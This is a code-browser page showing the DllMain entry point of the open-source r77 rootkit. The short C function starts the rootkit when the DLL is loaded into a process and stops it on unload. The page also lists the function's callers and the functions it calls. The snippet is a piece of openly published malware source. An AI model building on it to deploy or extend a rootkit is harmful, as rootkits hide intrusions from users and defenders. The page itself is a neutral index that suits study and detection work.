MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / DllMain

Function DllMain

r77/r77.c:5–21  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

3#include "ReflectiveDllMain.h"
4
5BOOL WINAPI DllMain(_In_ HINSTANCE module, _In_ DWORD reason, _In_ LPVOID reserved)
6{
7 if (reason == DLL_PROCESS_ATTACH)
8 {
9 if (!InitializeRootkit())
10 {
11 // If the rootkit could not initialize, is already injected, or not eligible for this process, detach the DLL.
12 return FALSE;
13 }
14 }
15 else if (reason == DLL_PROCESS_DETACH)
16 {
17 UninitializeRootkit();
18 }
19
20 return TRUE;
21}

Callers

nothing calls this directly

Calls 2

InitializeRootkitFunction · 0.85
UninitializeRootkitFunction · 0.85

Tested by

no test coverage detected